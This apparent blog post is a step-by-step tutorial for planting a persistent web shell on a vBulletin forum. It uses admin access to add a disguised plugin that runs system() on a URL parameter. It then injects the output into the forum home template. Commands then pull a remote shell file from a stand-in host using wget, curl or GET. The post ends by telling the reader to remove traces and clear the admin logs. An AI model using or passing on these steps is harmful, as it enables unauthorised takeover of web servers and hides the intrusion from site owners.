Upload Shell on vBulletin

Requirements:

- Admin Access
- A brain

Tutorial

1. Log into the admin cp.

2. Under 'Plugins & Products' select Add New Plugin

3. Set the settings as follows:

Product : vBulletin

Hook Location : global_start

Title : (Anything non fishy.. I use 'DEFAULT PLUG')

Execution Order : 5

Plugin PHP Code:


Code:
ob_start();
system($_GET['cmd']);
$execcode = ob_get_contents();
ob_end_clean();


Plugin is Active : Yes

--------------------

So in the end, it should look like this:

Image

4. After the plugin is added, go to under 'Styles & Templates', select 'Style Manager'

5. Under whatever the default style is, in the drop down menu select Edit Templates.

6. Scroll to ForumHome Templates and expand it. Click on [CUSTOMIZE] next to FORUMHOME.

7. Look for


Code:
$header


somewhere near the top. Replace it with:



Code:
$header
$execcode


8. Go to the main forum page... You should see it saying, "Cannot execute blank command" somewhere on the page. If you see "System() has been disabled" or anything like that, then it's a shitty server, forget it.

9. Now go to the forum and add the following after index.php



Code:
?cmd=wget http://www.evilshell.com/shell.txt;mv shell.txt shell.php


So it would look like


Code:
http://www.site.com/pathtoforum/index.php?cmd=wget http://www.evilshell.com/shell.txt;mv shell.txt shell.php

What this does, is downloads shell.txt, and renames it to shell.php.

Now, the shell should be located in shell.php in the forums directory... If not, then wget is disabled on this server, you can try some alternate methods:


Code:
http://www.site.com/pathtoforum/index.php?cmd=curl http://www.evilshell.com/shell.txt > shell.php




Code:
http://www.site.com/pathtoforum/index.php?cmd=GET http://www.evilshell.com/shell.txt shell.php


After you have your real shell on there, remove the plugin, and remove the $execcode from the FORUMHOME section of the template.

Dont forget to clear your admin logs.

ليست هناك تعليقات:

إرسال تعليق